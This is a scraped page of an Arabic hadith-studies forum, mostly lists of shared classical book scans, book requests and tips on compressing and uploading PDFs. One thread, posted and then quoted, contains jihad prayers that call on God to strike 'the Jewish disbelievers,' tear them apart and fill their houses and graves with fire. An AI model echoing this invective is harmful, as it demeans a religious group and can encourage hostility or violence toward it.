تجد هنا ( http://www.ahlalhdeeth.com/vb/showthread.php?t=137007) قائمة بأسبوعياته، وهنا ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147214) قائمة برمضانياته 1429 هـ. ولا تنس عيدياته.
ومن قبل ذلك كله كانت الدواوين النادرة والقيمة [لو أردت بها قائمة حصرناها].
فجزاه الله خيرا وبارك به ونفع، وتقبل الله كل ذلك خالصا لوجهه الكريم .. وأوثنا وإياه الفردوس الأعلى من جنته .. إنه ولي ذلك ومولاه .. اللهم آمين.
ـ[حسين بن محمد]ــــــــ[05 - 10 - 08, 10:35 م]ـ
أسبوعيات المساهم:
1 - قطوف أدبية حول تحقيق التراث - عبد السلام هارون ( http://www.ahlalhdeeth.com/vb/showthread.php?t=137716)
2- شرح ديوان المتنبي - عبد الرحمن البرقوقي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=138492)
3- إصلاح المنطق - ابن السكيت - ت. شاكر وهارون ( http://www.ahlalhdeeth.com/vb/showthread.php?t=139166)
4- فقه اللغة (مفهومه، وموضوعاته، قضاياه) - محمد الحمد ( http://www.ahlalhdeeth.com/vb/showthread.php?t=139892)
5- النوادر في اللغة - أبو زيد الأنصاري ( http://www.ahlalhdeeth.com/vb/showthread.php?t=140446)
6- أيام العرب في الجاهلية - محمد جاد وعلي البجاوي وأبو الفضل ( http://www.ahlalhdeeth.com/vb/showthread.php?t=141190)
7- تفسير غريب القرآن - ابن قتيبة ( http://www.ahlalhdeeth.com/vb/showthread.php?t=141846)
8- تحفة الراكع والساجد بأحكام المساجد - أبو بكر الجراعي الصالحي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=142280)
9- العوامل المائة النحوية في أصول علم العربية وشرحها - الأزهري ( http://www.ahlalhdeeth.com/vb/showthread.php?t=142863)
10- النوادر - أبو مسحل الأعرابي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=143469)
11- الألفاظ - ابن السكيت ( http://www.ahlalhdeeth.com/vb/showthread.php?t=144066)
12- الحيوان (الجزء الخامس) - الجاحظ ( http://www.ahlalhdeeth.com/vb/showthread.php?t=144670)
13- المعاني الكبير في أبيات المعاني - ابن قتيبة ( http://www.ahlalhdeeth.com/vb/showthread.php?t=145311)
14- رغبة الآمل من كتاب الكامل ( http://www.ahlalhdeeth.com/vb/showthread.php?t=146013)
15- شرح الوافية نظم الكافية - ابن الحاجب ( http://www.ahlalhdeeth.com/vb/showthread.php?t=146685)
16- شرح أشعار الهذليين - السكري ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147336)
17- شروح التلخيص - التفتازاني ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147889)
18- بديع القرآن - ابن أبي الإصبع المصري ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148484)
19- المؤامرة الكبرى على بلاد الشام - محمد فاروق الخالدي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149101)
20- التيارات الفكرية والعقدية - محمد فاروق الخالدي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149102)
21- كفاية المُعاني في حروف المَعاني - عبد الله الكردي البيتوشي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149548)
ولا زال العطاء مستمرا .. نسأل الله أن يتقبله منه خالصا لوجهه الكريم .. اللهم آمين
رمضانيات المساهم - حفظه الله وبارك به - لعام 1429 هـ:
1 - طرق استنباط الأحكام من القرآن الكريم - القواعد الأصولية واللغوية - عجيل جاسم النشمي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147342)
2- دفع إيهام الإضطراب عن آيات الكتاب - محمد الأمين الجكني الشنقيطي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147430)
(يُتْبَع .. اقلب الصفحة)
(61/442)
3 - فتح العلام في ترتيب آيات الأحكام - صباح العنزي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147516)
4- شرح المقدمة الجزرية - إبراهيم الدوسري ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147578)
5- إصلاح الوجوه والنظائر في القرآن الكريم (قاموس القرآن) - الحسين بن محمد الدامغاني ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147662)
6- الآداب والمنح الربانية في أصول الشاطبية والدرة المضية - قدري بن محمد بن عبد الوهاب ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147727)
####
8- فن الترتيل وعلومه - أحمد الطويل ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147874)
9- لغة القرآن دراسة توثيقية فنية - أحمد مختار عمر ( http://www.ahlalhdeeth.com/vb/showthread.php?t=147959)
10- علم إعراب القرآن تأصيل وبيان - يوسف العيساوي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148056)
11- الإمام أبو القاسم الشاطبي وقصيدته حرز الأماني - عبد الهادي حميتو ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148128)
12- مباحث في البلاغة وإعجاز القرآن الكريم - محمد زنجير ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148225)
13- مضمون القرآن في قضايا الإيمان والنبوة والأخلاق والكون - محمد عبد الهادي أبو ريدة ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148414)
14- إعجاز القرآن الكريم عند شيخ الإسلام ابن تيمية - محمد العواجي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148416)
15- فيض الرحمن في الأحكام الفقهية الخاصة بالقرآن - أحمد سالم ملحم ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148481)
16- الدليل إلى تعلم كتاب الله الجليل - حسانة وسكينة ابنتا الألباني ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148546)
17- تحت راية القرآن - مصطفى صادق الرافعي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148626)
18- كتاب المحكم في نقط المصحف - الداني ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148739)
19- إعجاز القرآن الكريم بين الإمام السيوطي والعلماء - محمد بن موسى الشريف ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148740)
20- الانتصار للقرآن - الباقلاني ( http://www.ahlalhdeeth.com/vb/showthread.php?t=148742)
والله الموفق.
ـ[حسين بن محمد]ــــــــ[14 - 10 - 08, 01:43 ص]ـ
عيدية المساهم (عيد الفطر 1429هـ):
1 - كشف اللثام شرح عمدة الأحكام - شمس الدين السفاريني. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149188)
2- مختارات البارودي - محمود سامي البارودي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149276)
3- كتب مشروع (قراءة وسماع الكتب السبعة) ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149406) :
عادات الإمام البخاري في صحيحه - عبد الحق الهاشمي - ت. محمد بن ناصر العجمي.
المدخل إلى صحيح الإمام مسلم بن الحجاج - محمد النورستاني.
المدخل إلى جامع الإمام الترمذي - الطاهر الأزهر خذيري.
المدخل إلى سنن الإمام أبي داود - محمد النورستاني.
المدخل إلى موطأ مالك بن أنس - الطاهر الأزهر خذيري.
المدخل إلى سنن الإمام النسائي - محمد النورستاني.
المدخل إلى سنن الإمام ابن ماجه - نور الدين بن عبد السلام مسعى.
ـ[احمد ابو البراء]ــــــــ[14 - 10 - 08, 02:01 ص]ـ
جزاكم الله خيرا
أخانا حسين
ـ[حسام الدين قاسم]ــــــــ[14 - 10 - 08, 03:14 ص]ـ
بارك الله فيكم
ـ[محمد خليل]ــــــــ[14 - 10 - 08, 09:41 ص]ـ
جزاك الله خيراً أخي الطيماوي, وكذلك أخانا المساهم الذي لا يهدأ ولا يتوانى في خدمة إخوانه.
ـ[احمدعاطف]ــــــــ[14 - 10 - 08, 10:38 ص]ـ
جزاك الله خيراً أخي الطيماوي, وكذلك أخانا المساهم الذي لا يهدأ ولا يتوانى في خدمة إخوانه.
شكرا لك أخى الكريم
ـ[حسين بن محمد]ــــــــ[12 - 12 - 08, 05:23 ص]ـ
أسبوعيات المساهم:
22 - الطراز في شرح ضبط الخراز - التنسي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=150278)
23- المزهر في علوم اللغة العربية - السيوطي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=151122)
(يُتْبَع .. اقلب الصفحة)
(61/443)
24 - البيان في عد آي القرآن - الداني. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=151783)
25- حول ديوان الحماسة لأبي تمام:
شرح ديوان الحماسة - المرزوقي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=152495)
الوحشيات (الحماسة الصغرى) - أبو تمام الطائي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=152598)
أسرار الحماسة (الجزء الأول) - سيد علي المرصفي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=152732)
المبهج في تفسير أسماء شعراء الحماسة - ابن جني. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=152865)
حماسة أبي تمام وشروحها؛ دراسة وتحليل - عبد الله عبد الرحيم عُسيلان. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=152969)
26- من شروح الحماسة:
شرح ديوان حماسة أبي تمام - يُنسب إلى: أبي العلاء المعري. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=153114)
شرح حماسة أبي تمام - الأعلم الشنتمري. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=153423)
شرح ديوان الحماسة - التبريزي الشهير بالخطيب. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=153710)
27- الاختيارين - الأخفش الصغير. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=153891)
28- شرح الأبيات المشكلة الإعراب (كتاب الشعر) - أبو علي الفارسي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=154523)
29- شرح القصائد السبع الطوال الجاهليات - أبو بكر الأنباري. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=155147)
30- ( هدايا عيد الأضحى 1429هـ):
شرح مقامات الحريري - أبو العباس القيسي الشريشي. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=155768)
شعراء عباسيون منسيون - إبراهيم النجار. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=155924)
تاريخ الأدب العربي - عمر فروخ. ( http://www.ahlalhdeeth.com/vb/showthread.php?t=156078)(61/444)
أحتاج " الصلاة: صفتها وأحكامها " للشيخ عبد الله السعد مفرغة
ـ[القرشي]ــــــــ[05 - 10 - 08, 08:58 م]ـ
السلام عليكم ورحمة الله وبركاته
أحتاج " الصلاة: صفتها وأحكامها " للشيخ عبد الله السعد مفرغة
والسلام عليكم ورحمة الله وبركاته
ـ[القرشي]ــــــــ[21 - 09 - 09, 03:35 م]ـ
لعل أحد الأخوة يرشدنا(61/445)
كتاب "أذكار الجهاد والدعاء على الكفار الصحيحة"، للمكتبة الشاملة، ونسخة وورد
ـ[الدسوقي]ــــــــ[06 - 10 - 08, 01:27 ص]ـ
كتاب أذكار الجهاد والدعاء على الكفار الصحيحة، للمكتبة الشاملة، ونسخة وورد.
(نسخة منقحة ومزيدة)
تحوي نحوا من خمسين ذكرا ودعاء ثابتا، من القرآن الكريم والسنة الصحيحة، مع تخريجها تخريجا علميا على قواعد المحدثين، وشرح ما تيسر منها، مما يعين المسلم على مناصرة إخوانه بسهام الدعاء، وييسر للمجاهد الاقتداء بسيد المجاهدين نبينا محمد صلي الله عليه وسلم، مصداق قول الله تعالى:
(يَا أَيُّهَا الَّذِينَ آَمَنُوا إِذَا لَقِيتُمْ فِئَةً فَاثْبُتُوا وَاذْكُرُوا اللَّهَ كَثِيرًا لَعَلَّكُمْ تُفْلِحُونَ) سورة الأنفال (45)، والله خير الناصرين.
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
وسبحانك اللهم وبحمدك أشهد ألا إله إلا أنت أستغفرك وأتوب إليك.
ـ[منير الجزائري]ــــــــ[07 - 10 - 08, 09:02 م]ـ
جزاك الله خيرا
ـ[الدسوقي]ــــــــ[08 - 10 - 08, 09:17 ص]ـ
بارك الله فيك وجزاك خيرا
ـ[احمد السعد]ــــــــ[12 - 10 - 08, 07:06 م]ـ
جزاك الله خيرا
ـ[الدسوقي]ــــــــ[13 - 10 - 08, 01:08 ص]ـ
بارك الله فيك أخي، وجزاك الله خيرا.
ـ[الدسوقي]ــــــــ[31 - 12 - 08, 01:42 ص]ـ
... اللهم انصر المسلمين في غزة.
رَبَّنَا أعنّا ولا تُعِنْ عَلَينا، وانصُرْنا ولا تَنْصُرْ عَلَينا، وامكُرْ لنا ولا تَمْكُرْ عَلَينا، واهدنا ويَسِّر الهُدَى إلينا، وانصرنا على من بَغَى عَلَينا. اللهم انصرنا على عدونا، وأرنا فيه ثأرنا.
(رَبَّنَا أَفْرِغْ عَلَيْنَا صَبْراً وَثَبِّتْ أَقْدَامَنَا وَانْصُرْنَا عَلَى الْقَوْمِ الْكَافِرِينَ).
(رب إني مَغْلُوبٌ فَانْتَصِرْ).
اللّهُمَّ أَنْتَ عَضُدُنا، وَأَنْتَ نَصيرُنا، بِكَ نحولُ وَبِكَ نصولُ وَبِكَ نقاتِل.
اللَّهُمَّ بِكَ أُقَاتِلُ، {وَبِكَ أُحَاوِلُ}، وَبِكَ أُصَاوِلُ، وَلَا حَوْلَ وَلَا قُوَّةَ إِلَّا بِاللَّهِ.
اللهم سدد رميتهم، وأجب دعوتهم.
اللهم بارك في خيلهم ورجالهم.
... اللهم اشدد وطأتك على اليهود الكافرين.
اللَّهُمَّ مُنْزِلَ الْكِتَابِ، {مُجْرِىَ السَّحَابِ}، سَرِيعَ الْحِسَابِ، {هَازِمَ الأَحْزَابِ}، اللَّهُمَّ اهْزِمِ الأَحْزَابَ، اللَّهُمَّ اهْزِمْهُمْ وَزَلْزِلْهُمْ، {وَانْصُرْنَا عَلَيْهِمْ}، اللَّهُمَّ أَعِنّا عَلَيْهِمْ بِسَبْعٍ كَسَبْعِ يُوسُفَ.
اللَّهُمَّ إنا نعوذ بك من غلبة الدين، وغلبة العدو، وشماتة الأعداء.
اللَّهُمَّ قَاتِلِ الْكَفَرَةَ الَّذِينَ يَصُدُّونَ عَنْ سَبِيلِكَ، وَ يُكَذِّبُونَ رُسُلَكَ، و لا يؤمنون بوَعْدِكَ، اللَّهُمَّ خالِفْ بين كلمتهم، و أَلْقِ في قلوبِهِمُ الرعبَ، وَاجْعَلْ عَلَيْهِمْ رِجْزَكَ وَعَذَابَكَ إِلَهَ الْحَقِّ، اللَّهُمَّ قَاتِلْ الْكَفَرَةَ الَّذِينَ أُوتُوا الْكِتَابَ.
اللّهُمَّ إِنا نَجْعَلُكَ في نُحورِهِم، وَنَعوذُ بِكَ مِنْ شُرورِهمْ.
اللَّهُمَّ اِكْفِنَاهمْ بِمَا شِئْتَ.
اللَّهُمَّ مَزِّقْهُم كُلّ مُمَزَّق.
مَلأَ اللَّهُ بُيُوتَهُمْ وَقُبُورَهُمْ نَاراً.
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
وسبحانك اللهم وبحمدك أشهد ألا إله إلا أنت أستغفرك وأتوب إليك.
ـ[عصمت الله]ــــــــ[31 - 12 - 08, 07:52 ص]ـ
[ QUOTE= الدسوقي;954849] ... اللهم انصر المسلمين في غزة.
رَبَّنَا أعنّا ولا تُعِنْ عَلَينا، وانصُرْنا ولا تَنْصُرْ عَلَينا، وامكُرْ لنا ولا تَمْكُرْ عَلَينا، واهدنا ويَسِّر الهُدَى إلينا، وانصرنا على من بَغَى عَلَينا. اللهم انصرنا على عدونا، وأرنا فيه ثأرنا.
(رَبَّنَا أَفْرِغْ عَلَيْنَا صَبْراً وَثَبِّتْ أَقْدَامَنَا وَانْصُرْنَا عَلَى الْقَوْمِ الْكَافِرِينَ).
(رب إني مَغْلُوبٌ فَانْتَصِرْ).
اللّهُمَّ أَنْتَ عَضُدُنا، وَأَنْتَ نَصيرُنا، بِكَ نحولُ وَبِكَ نصولُ وَبِكَ نقاتِل.
اللَّهُمَّ بِكَ أُقَاتِلُ، {وَبِكَ أُحَاوِلُ}، وَبِكَ أُصَاوِلُ، وَلَا حَوْلَ وَلَا قُوَّةَ إِلَّا بِاللَّهِ.
اللهم سدد رميتهم، وأجب دعوتهم.
اللهم بارك في خيلهم ورجالهم.
... اللهم اشدد وطأتك على اليهود الكافرين.
اللَّهُمَّ مُنْزِلَ الْكِتَابِ، {مُجْرِىَ السَّحَابِ}، سَرِيعَ الْحِسَابِ، {هَازِمَ الأَحْزَابِ}، اللَّهُمَّ اهْزِمِ الأَحْزَابَ، اللَّهُمَّ اهْزِمْهُمْ وَزَلْزِلْهُمْ، {وَانْصُرْنَا عَلَيْهِمْ}، اللَّهُمَّ أَعِنّا عَلَيْهِمْ بِسَبْعٍ كَسَبْعِ يُوسُفَ.
اللَّهُمَّ إنا نعوذ بك من غلبة الدين، وغلبة العدو، وشماتة الأعداء.
اللَّهُمَّ قَاتِلِ الْكَفَرَةَ الَّذِينَ يَصُدُّونَ عَنْ سَبِيلِكَ، وَ يُكَذِّبُونَ رُسُلَكَ، و لا يؤمنون بوَعْدِكَ، اللَّهُمَّ خالِفْ بين كلمتهم، و أَلْقِ في قلوبِهِمُ الرعبَ، وَاجْعَلْ عَلَيْهِمْ رِجْزَكَ وَعَذَابَكَ إِلَهَ الْحَقِّ، اللَّهُمَّ قَاتِلْ الْكَفَرَةَ الَّذِينَ أُوتُوا الْكِتَابَ.
اللّهُمَّ إِنا نَجْعَلُكَ في نُحورِهِم، وَنَعوذُ بِكَ مِنْ شُرورِهمْ.
اللَّهُمَّ اِكْفِنَاهمْ بِمَا شِئْتَ.
اللَّهُمَّ مَزِّقْهُم كُلّ مُمَزَّق.
مَلأَ اللَّهُ بُيُوتَهُمْ وَقُبُورَهُمْ نَاراً.
آمين، يا رب العالمين.
(يُتْبَع .. اقلب الصفحة)
(61/446)
ـ[عيسى بنتفريت]ــــــــ[31 - 12 - 08, 10:54 ص]ـ
بارك الله فيك وجزاك خير الجزاء وأحسنه.
ـ[أبو عبدالله قريق]ــــــــ[31 - 12 - 08, 01:55 م]ـ
اللهم امين
ـ[احمد محمود محمد]ــــــــ[31 - 12 - 08, 06:42 م]ـ
بارك الله فيك وجزاك خيرا
ـ[الدسوقي]ــــــــ[31 - 12 - 08, 07:42 م]ـ
بارك الله فيكم إخواني، وجزاكم الله خيرا.
اللهم اجمع كلمة أمة محمد صلى الله عليه وسلم على خليفة راشد وأعزهم بطاعتك، وارفع مقتك وغضبك عنا، وانصر عبادك المؤمنين.
اللَّهُمَّ قَاتِلِ الْكَفَرَةَ الَّذِينَ يَصُدُّونَ عَنْ سَبِيلِكَ، وَ يُكَذِّبُونَ رُسُلَكَ، و لا يؤمنون بوَعْدِكَ، اللَّهُمَّ خالِفْ بين كلمتهم، و أَلْقِ في قلوبِهِمُ الرعبَ، وَاجْعَلْ عَلَيْهِمْ رِجْزَكَ وَعَذَابَكَ إِلَهَ الْحَقِّ، اللَّهُمَّ قَاتِلْ الْكَفَرَةَ الَّذِينَ أُوتُوا الْكِتَابَ.
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
وسبحانك اللهم وبحمدك أشهد ألا إله إلا أنت أستغفرك وأتوب إليك.(61/447)
هدية متواضعة أرجو أن تنال رضاكم صورت بحمد الله تعالى كشاف الكتب المخطوطة بالخزانة الحسنية ( pdf(
ـ[عبد الله الردسي]ــــــــ[06 - 10 - 08, 01:37 ص]ـ
صورت بحمد الله تعالى كشاف الكتب المخطوطة بالخزانة الحسنية ( pdf(
ولكن حجمه 135 ميغا، فكيف أرفعه لأخواني طلاب العلم؟
ـ[الطيب وشنان]ــــــــ[06 - 10 - 08, 04:51 ص]ـ
كيفية رفع الكتب على موقع الأرشيف (الشرح بالصور). ( http://www.ahlalhdeeth.com/vb/showthread.php?t=79607)
ـ[عبد الله الردسي]ــــــــ[06 - 10 - 08, 10:01 ص]ـ
عفوا، هل هناك موقع آخر؟
ـ[الطيب وشنان]ــــــــ[06 - 10 - 08, 03:50 م]ـ
http://www.mediafire.com/
بعد الدخول اضغط على: upload files to mediafire
سيعطيك بعدها ثلاثة خيارات:
الأول من اليسار (أخضر) للتسجيل قبل الرفع
و الثاني من اليسار (رمادي) للرفع من دون تسجيل بالموقع
و الثالث لدخول المسجلين ..
ان اخترت الأول لا بد من التسجيل ..
أما الثاني فيعطيك لوحة تختار منها الملف المراد رفعه مباشرة من جهازك اضغط عليه ثم ينتقل بك الى مرحلة أخرى تظهر لك لوحة تبين لك حجم الملف المراد رفعه و الى اقصى اليمين تجد عبارة:
start upload و ايقونتها خضراء اللون، اضغط عليها سيبدأ الرفع فورا
و الله المستعان.
ـ[أبو عيسى الإلغي]ــــــــ[08 - 10 - 08, 02:03 ص]ـ
؟؟؟؟؟؟؟
ـ[منير الجزائري]ــــــــ[10 - 10 - 08, 05:56 م]ـ
عجّل بارك الله فيك
ـ[عبد الله الردسي]ــــــــ[10 - 10 - 08, 09:36 م]ـ
يا إخوان جزاكم الله خيرا حاولت مرارا تنزيله لكن لا فائدة، أظن أن ذلك راجع لكبر حجم المؤلف.
ـ[أبو عبد الله التطاون]ــــــــ[11 - 10 - 08, 12:00 ص]ـ
هلا ذكرت - بارك الله فيك - عدد صفحات هذا الكشاف.
ـ[عبد الله الردسي]ــــــــ[12 - 10 - 08, 02:03 ص]ـ
عدد صفحاته 484 وهو كشاف لجميع مخطوطات المكتبة، ومنهج هذا الكشاف ذكر عنوان المخطوط واسم المؤلف ورقمه في المكتبة فقط.
ـ[أبو حكيم]ــــــــ[12 - 10 - 08, 03:22 ص]ـ
السلام عليكم ورحمة الله
أخي الكريم زادك الله حرصا في نشر العلم ..
من خلال عدد الصفحات يبدو أن الذي صور الكتاب لم يتنبه لطريقة التصوير التي تمكن من انتاج ملف خفيف، فعادة 500 صفحة يجب ان لا تتعدي في أحسن الأحوال 5 Mo، وأغلب الظن أن المصور لم يحاول حفظ الصور بامتداد tiff أو png ثنائي الألوان (ابيض واسود). وانما حفظها على شكل صور ذات 16 مليون لون عوض اللونين الكافيين للكتب غير الملونة.
لهذا بإمكانك فك الملف pdf من جديد (اذا كان التصوير حفظ مباشرة في ملف pdf) وحفظ صفحاته باستعمال اكروبات بروفيشينال من صيغة pdf الى صور بامتداد png تضعها في دليل خاص، وبعد ذلك تحاول باستعمال برامج معالجة الصور ( acd cee مثلا) خفض عدد الالوان باستعمال خيار (تغيير الصورة - تخفيض الألوان) من عدد كبير مثل 16 مليون الى لونين، ويعطيك صور مائة مرة أخف، وبعد ذلك تحولها الى ملف pdf من جديد، ومن المؤكد ان حجم الملف سيصير أقل من 9 Mo ان شاء الله.
يمكن مراجعة المشاركات العديدة في هذا الملتقى، والتي تتكلم عن كيفية معالجة الصور والطريقة المثلى لتحويلها الى ملف pdf خفيف مع الاحتفاظ بجودة الكتابة.
وفقك الله ونحن بانتظار الثمرة ان شاء الله
ـ[عبد الله الردسي]ــــــــ[17 - 10 - 08, 10:58 ص]ـ
أعتذر لإخواني عن هذا الغياب الطويل، وهذه هدية أخرى
جامع الشروح والحواشي للحبشي حجمه تقريبا 51 ميغا، أما بالنسبة للكشاف فما زالت المشكلة قائمة وهي كبر هجمه وحوالت كما تفضل بعض الإخوة أن أقلل من حجم الألوان من خلال برنامج acd see ولكن لم أفلح فأرجو من الإخوان المساعدة حتى يتم رفعه وينتفع بها إخواننا طلاب العلم.
أسأل الله تعالى أن ينفع به إخواني طلاب العلم
http://www.mediafire.com/?sharekey=67123dfa41b7bb42d2db6fb9a8902bda
ـ[حسين بن محمد]ــــــــ[17 - 10 - 08, 12:21 م]ـ
جزاكم الله خيرا ..
حتى نستطيع المساعدة ..
ما نوعية الصور - بارك الله بك - .. هل صورت بصيغة Jpg ؟؟
ولو ترفع منها صورة واحدة فقط ننظر فيها - من وسط الكتاب -؟
ـ[منير الجزائري]ــــــــ[22 - 10 - 08, 10:12 م]ـ
بارك الله فيكم وفي جهودكم(61/448)
أخبار مكة وما جاء فيها من الآثار Pdf
ـ[مصعب الجهني]ــــــــ[06 - 10 - 08, 01:39 ص]ـ
حمل كتاب: أخبار مكة وما جاء فيها من الآثار Pdf
تأليف: أبي الوليد محمد بن عبد الله بن أحمد الأزراقي
حققه وصححه وعلق عليه ووضع فهارسه: رشدي الصالح ملحس
طبعة: المطبعة الماجدية - مكة المكرمة -
الطبعة: الأولى
سنة: 1352هـ
ـ[أبو عبدالله الطحاوى]ــــــــ[06 - 10 - 08, 11:00 ص]ـ
بارك الله فيك ونفع بك
ولكن هل من سبيل لنسخة مصورة عن الأصل " pdf" أقصد مسحوبة على الماسح الضوئي، لأن أى كتاب أسانيد نحتاج فيه إلى الأصل؛ للعزو، وكذلك لتلافي وجود سقط أو تصحيف عند كتابته على الوورد ......
ـ[محمد احمد الحقاني الافغاني]ــــــــ[06 - 10 - 08, 11:31 ص]ـ
بارك الله فيك ونفع بك
ـ[أبو عبدالله الطحاوى]ــــــــ[09 - 10 - 08, 08:45 ص]ـ
للرفع
ـ[مصطفي بن سعد المصري]ــــــــ[09 - 10 - 08, 04:29 م]ـ
جَزَاكُمُ اللهُ خَيِرًا،،،
ـ[أبو عبد الله بن سعيد]ــــــــ[10 - 10 - 08, 02:12 ص]ـ
جزاك الله خيراً
ـ[منير الجزائري]ــــــــ[10 - 10 - 08, 05:30 م]ـ
بارك الله فيك
ـ[أبو محمد السوري]ــــــــ[10 - 10 - 08, 08:35 م]ـ
بسم الله الرحمن الرحيم
الحمد لله رب العالمين00والصلاة والسلام على من لا نبي بعده
أمَّا بعد:
شكر لك أخي مصعب على هذا الكتاب القيم، وجمعنا وإيَّاك مع مصعب بن عمير تحت لواء سيد الأولين والآخرين00اللهمَّ آمين
ـ[مصعب الجهني]ــــــــ[16 - 10 - 08, 03:45 م]ـ
وإياكم إن شاء الله جميعا
وجزاك الله خيرا أخي أبو محمد وجعلنا عند حسن الظن إن شاء الله ..
ـ[أبو محمد العدني]ــــــــ[16 - 10 - 08, 11:38 م]ـ
جزاك الله خيرا(61/449)
حمل: اهتمام المحدثين بنقد الحديث سندًا ومتنًا، للدكتور محمد لقمان السلفي pdf
ـ[محمد بن عبدالله]ــــــــ[06 - 10 - 08, 07:26 ص]ـ
بسم الله الرحمن الرحيم
الحمد لله وحده ..
هذا كتاب (اهتمام المحدثين بنقد الحديث سندًا ومتنًا، ودحض مزاعم المستشرقين وأتباعهم)، للدكتور محمد لقمان السلفي، نشرت طبعته الثانية دار الداعي بالرياض، في جمادى الثاني 1420.
الرابط ( http://www.kabah.info/uploaders/mohmsor/ihtimam.rar)
وجزاكم الله خيرًا.
ـ[منير الجزائري]ــــــــ[07 - 10 - 08, 09:10 م]ـ
بارك الله فيك
ـ[البشير الزيتوني]ــــــــ[07 - 10 - 08, 09:25 م]ـ
جزاكم الله كل خير على هذا الكتاب المفيد، إذ الشائع أن اهتمام المحدثين ينصب على السند لا على المتن، فلعل هذا الكتاب يزيل هذه الشبهة.
ـ[صهيب الجواري]ــــــــ[30 - 10 - 10, 03:47 م]ـ
جزاك الله خيرا
وهذا الكتاب منهج مقرر عندنا في كلية اصول الدين
ـ[أبو منذر العبيدي]ــــــــ[31 - 10 - 10, 10:01 ص]ـ
بارك الله فيكم.(61/450)
ابحث عن كتاب (خلق أفعال العباد) محقق ومشكل
ـ[مُوَحِّدَة]ــــــــ[06 - 10 - 08, 09:53 ص]ـ
السلام عليكم ورحمة الله وبركاته
بحث كثيرا عن كتاب (خلق أفعال العباد) للإمام البخاري
فلم أجده مشكل
فهل تساعدوني (محقق ومشكل)
وجزاكم الله خيراً
ـ[مُوَحِّدَة]ــــــــ[09 - 10 - 08, 09:56 ص]ـ
للرفع رفع الله قدركم
ـ[أبي الحسن]ــــــــ[09 - 10 - 08, 04:25 م]ـ
السلام عليكم ورحمة الله وبركاته
بحث كثيرا عن كتاب (خلق أفعال العباد) للإمام البخاري
فلم أجده مشكل
فهل تساعدوني (محقق ومشكل)
وجزاكم الله خيراً
http://www.dar-atlas.com/
http://img503.imageshack.us/img503/49/khalqsr8.jpg (http://imageshack.us)
-------------------------------------------------------------------
خلق أفعال العباد والرد على أصحاب الجهمية وأصحاب التعطيل
الإمام محمد بن إسماعيل البخاري
--------------
الدكتور فهد بن سليمان الفهيد المحقق
60
ريالاً
912 صفحة
عدد الصفحات
هذا الكتاب من أهم الكتب وأقدمها وأوسعها في الرد على أهل البدع من الجهمية والمعطلة، وقد اشتمل على مسائل ذات أهمية بالغة، وكثير من الأحاديث المهمة في باب الإعتقاد، و المؤلف الإمام البخاري غني عن التعريف، صاحب أصح كتاب بعد كتاب الله عز وجل.
وهو عبارة عن رسالة جامعية لنيل شهادة الدكتوراه من جامعة الإمام محمد بن سعود الإسلامية، يإشراف العلامة فضيلة الشيخ عبد الرحمن بن ناصر البراك، وقد نال بها الطالب مرتبة الشرف مع التوصية بطباعتها، وفقه الله(61/451)
دعوة لتعزيز العمل ببرنامج ورد ودفع العمل ببرنامج pdf من أجل تعزيز الشاملة. هل من معزز؟.
ـ[يونس1]ــــــــ[06 - 10 - 08, 02:57 م]ـ
إخواني نتعب كثير من كتب ال pdf خصوصا اليوم؛ فالعمل كله الأن منصب عل الموسوعة الشاملة، وتحويل الكتب مستحيل الأن من pdf إلى word .
فعلى كل أخ - مأجور إن شاء الله - أن يتعب قليلا، فلا يصور الكتاب، ويكتبه باتقان ببرنامج word ، ومن ثم إلى الموسوعة الشاملة، وهذه فائدة كبيرة جدا إن شاء الله، وثوابها أعظم من تصوير الكتاب.
فلا تنفع الكتب المصورة مع طالب العلم - خصوصا الحديث الشريف- فغايته البحث المضبوط؛ وهذا مفتقد في كتب pdf وطيب في الشاملة إن شاء الله.
فهل لنا من معاون؟.
والله المستعان.
ـ[الطيماوي]ــــــــ[06 - 10 - 08, 04:49 م]ـ
